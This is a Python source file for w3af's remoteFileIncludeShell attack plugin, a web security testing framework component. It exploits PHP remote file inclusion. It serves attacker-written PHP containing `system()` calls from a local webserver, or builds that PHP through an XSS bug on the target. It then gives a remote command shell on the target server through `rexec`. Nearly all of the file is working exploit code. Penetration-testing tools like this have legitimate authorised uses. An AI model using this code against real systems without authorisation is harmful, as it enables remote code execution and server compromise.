'''
remoteFileIncludeShell.py

Copyright 2006 Andres Riancho

This file is part of w3af, w3af.sourceforge.net .

w3af is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation version 2 of the License.

w3af is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with w3af; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA

'''


from core.data.fuzzer.fuzzer import *
import core.controllers.outputManager as om
from core.controllers.basePlugin.baseAttackPlugin import baseAttackPlugin
import core.data.kb.knowledgeBase as kb
import core.data.parsers.urlParser as urlParser
from core.controllers.w3afException import w3afException
from core.controllers.daemons.webserver import webserver
import os,time

class remoteFileIncludeShell(baseAttackPlugin):
	'''
	This plugin exploits remote file include bugs.
	@author: Andres Riancho ( andres.riancho@gmail.com )
	'''

	def __init__(self):
		baseAttackPlugin.__init__(self)
		self._shell = None
		self._wS = None
		
		# User configured variables
		self._listenPort = 8090
		self._listenAddress = ''
		self._useXssBug = False

	def fastExploit(self, url, method, data ):
		'''
		Exploits a web app with remote file include vuln.
		
		@parameter url: A string containing the Url to exploit ( http://somehost.com/foo.php )
		@parameter method: A string containing the method to send the data ( post / get )
		@parameter data: A string containing data to send with a mark that defines
		which is the vulnerable parameter ( aa=notMe&bb=almost&cc=[VULNERABLE] )
		'''
		return self._shell
	
	def getType(self):
		return 'shell'
		
	def canExploit(self ):
		'''
		Searches the kb for vulnerabilities that the plugin can exploit.

		@return: True if plugin knows how to exploit a found vuln.
		'''
		if self._listenAddress == '' and not self._useXssBug:
			raise w3afException('remoteFileIncludeShell plugin has to be correctly configured to use.')
		
		rfiVulns = kb.kb.getData( 'remoteFileInclude' , 'rfi' )
		if len( rfiVulns ) == 0:
			return False
		else:
			if self._useXssBug:
				if len( kb.kb.getData( 'xss' , 'xss' ) ):
					for vuln in kb.kb.getData( 'xss' , 'xss' ):
						if not vuln['escapesSingle'] and not vuln['escapesDouble'] and not vuln['escapesLtGt']:
							self._xssVuln = vuln
							return True
						else:
							om.out.error('remoteFileIncludeShell plugin is configured to use a XSS bug to exploit the RFI bug, but no XSS with the required parameters was found.')
							return False
				else:
					om.out.error('remoteFileIncludeShell plugin is configured to use a XSS bug to exploit the RFI bug, but no XSS was found.')
					return False
			else:
				# Using the good old webserver
				return True
				
	def exploit(self ):
		'''
		Exploits a remoteFileInclude vuln that was found and stored in the kb.

		@return: True if the shell is working and the user can start calling rexec
		'''
		om.out.information( 'remoteFileIncludeShell exploit plugin is starting.' )
		rfiVulns = kb.kb.getData( 'remoteFileInclude' , 'rfi' )
		if not self.canExploit():
			raise w3afException('Failed to initialize remoteFileIncludeShell.')

		for vuln in rfiVulns:
			# Try to get a shell using all vuln
			if self._generateShell(vuln):
				# A shell was generated, I only need one point of exec.
				return True
					
		return False
				
	def _generateShell( self, vuln ):
		'''
		@return: True is a shell object based on the param vuln was created ok.
		'''
		# Check if we really can execute commands on the remote server
		if self._verifyVuln( vuln ):
			# Set shell parameters
			self._url = urlParser.uri2url( vuln.getURL() )
			self._method = vuln.getMethod()
			self._exploitQs = vuln.getDc()
			self._variable = vuln.getVar()
			return True
		else:
			return False

	def _verifyVuln( self, vuln ):
		'''
		This command verifies a vuln. This is really hard work!

		@return : True if vuln can be exploited.
		'''
		# The vuln was saved to the kb as a vuln object
		url =  urlParser.uri2url( vuln.getURL() )
		method = vuln.getMethod()
		exploitQs = vuln.getDc()
		variable = vuln.getVar()

		# Create a file that will be included ( PHP only )
		### TODO: Extend for other scripting languages !
		rand = createRandAlpha( 10 )
		phpStr = '<? \n echo "'
		phpStr += rand + '";\n'
		phpStr += ' ?>'
		
		urlToInclude = self._genURLToInclude( phpStr )
		
		if not self._useXssBug:
			self._wS = webserver( self._listenAddress, self._listenPort , 'webroot' + os.path.sep)
			self._wS.start2()
			time.sleep(0.5)	# wait for webserver thread to start
				
		# Lets define the result header and footer.
		functionReference = getattr( self._urlOpener , method )
		exploitQs[ variable ] = urlToInclude
		response = True
		try:
			response = functionReference( url, str(exploitQs) )
		except:
			response = False
		else:
			response = self._defineCut( response.getBody(), rand , exact=True )
		
		if not self._useXssBug:
			self._wS.stop()
			# Remove the file
			filename = urlToInclude.split('/')[-1:][0]
			os.remove( os.path.join('webroot' + os.path.sep, filename ) )
		
		return response
	
	def _genURLToInclude( self, phpStr ):
		'''
		Generate the URL to include, based on the configuration it will return a 
		URL poiting to a XSS bug, or a URL poiting to our local webserver.
		'''
		if self._useXssBug:
			url = urlParser.uri2url( self._xssVuln.getURL() )
			dc = self._xssVuln.getDc()
			dc = dc.copy()
			dc[ self._xssVuln.getVar() ] = phpStr
			urlToInclude = url + '?' + str(dc)
			return urlToInclude
		else:
			# Write the php to the webroot
			filename = createRandAlNum()
			try:
				f = open( os.path.join('webroot' + os.path.sep, filename ) , 'w')
				f.write( phpStr )
				f.close()
			except:
				raise w3afException('Could not create file in webroot.')
			else:
				urlToInclude = 'http://' + self._listenAddress +':' + str(self._listenPort) +'/' + filename
				return urlToInclude

	
	def rexec( self, command ):
		'''
		This method is called when a command is being sent to the remote server.
		This is a NON-interactive shell.

		@parameter command: The command to send ( ie. "ls", "whoami", etc ).
		@return: The result of the command.
		'''
		# Escape the quotes
		command = command.replace('"','\\"')
		
		# Lets send the command.
		# Create a file that will be included ( PHP only )
		filename = createRandAlNum()
		phpStr = '<? \n system("'
		phpStr += command + '");\n'
		phpStr += ' ?>'
		
		urlToInclude = self._genURLToInclude( phpStr )
		
		if not self._useXssBug:
			self._wS = webserver( self._listenAddress, self._listenPort , 'webroot' + os.path.sep)
			self._wS.start2()
			time.sleep(0.2)	# wait for webserver thread to start

		result=''
		functionReference = getattr( self._urlOpener , self._method )
		self._exploitQs[ self._variable ] = urlToInclude
		try:
			response = functionReference( self._url, str(self._exploitQs) )
		except:
			return 'Error including file in remote host. Try again.'
		else:
			result = ''
			try:
				result = self._cut( response.getBody() )	
			except w3afException, w:
				result = str(w)
		
		if not self._useXssBug:
			self._wS.stop()
			# Remove the file
			filename = urlToInclude.split('/')[-1:][0]
			os.remove( os.path.join('webroot' + os.path.sep, filename ) )
		return result
	
	def getOptionsXML(self):
		'''
		This method returns a XML containing the Options that the plugin has.
		Using this XML the framework will build a window, a menu, or some other input method to retrieve
		the info from the user. The XML has to validate against the xml schema file located at :
		w3af/core/ui/userInterface.dtd
		
		@return: XML with the plugin options.
		'''	
		return	'<?xml version="1.0" encoding="ISO-8859-1"?>\
		<OptionList>\
			<Option name="listenAddress">\
				<default>'+str(self._listenAddress)+'</default>\
				<desc>IP address that the webserver will use to receive requests</desc>\
				<type>string</type>\
				<help>w3af runs a webserver to serve the files to the target web app \
				when doing remote file inclusions. This \
				setting configures on what IP address the webserver is going to listen.</help>\
			</Option>\
			<Option name="listenPort">\
				<default>'+str(self._listenPort)+'</default>\
				<desc>Port that the webserver will use to receive requests</desc>\
				<help>w3af runs a webserver to serve the files to the target web app \
				when doing remote file inclusions. This \
				setting configures on what IP address the webserver is going to listen.</help>\
				<type>integer</type>\
				<help></help>\
			</Option>\
			<Option name="useXssBug">\
				<default>'+str(self._useXssBug)+'</default>\
				<desc>Instead of including a file in a local webserver; include the result of exploiting a XSS bug.</desc>\
				<type>boolean</type>\
				<help></help>\
			</Option>\
		</OptionList>\
		'

	def setOptions( self, optionsMap ):
		'''
		This method sets all the options that are configured using the user interface 
		generated by the framework using the result of getOptionsXML().
		
		@parameter optionsMap: A map with the options for the plugin.
		@return: No value is returned.
		'''	
		self._listenAddress = optionsMap['listenAddress']
		self._listenPort = optionsMap['listenPort']
		self._useXssBug = optionsMap['useXssBug']

		if self._listenAddress == '' and not self._useXssBug:
			raise w3afException('remoteFileIncludeShell plugin has to be correctly configured to use.')
			
	def getPluginDeps( self ):
		'''
		@return: A list with the names of the plugins that should be runned before the
		current one.
		'''
		return []
	
	def getRootProbability( self ):
		'''
		@return: This method returns the probability of getting a root shell using this attack plugin.
		This is used by the "exploit *" function to order the plugins and first try to exploit the more critical ones.
		This method should return 0 for an exploit that will never return a root shell, and 1 for an exploit that WILL ALWAYS
		return a root shell.
		'''
		return 0.8
	
	def getLongDesc( self ):
		'''
		@return: A DETAILED description of the plugin functions and features.
		'''
		return '''
		This plugin exploits remote file inclusion vulnerabilities and returns a remote shell. The exploitation can be
		done using a more classic approach, in which the file to be included is hosted on a webserver that the plugin
		runs, or a nicer approach, in which a XSS bug on the remote site is used to generate the remote file to be included.
		Both ways work and return a shell, but the one that uses XSS will work even when a restrictive firewall is configured
		at the remote site.
		
		Three configurable parameters exist:
			- listenAddress
			- listenPort
			- useXssBug
		'''
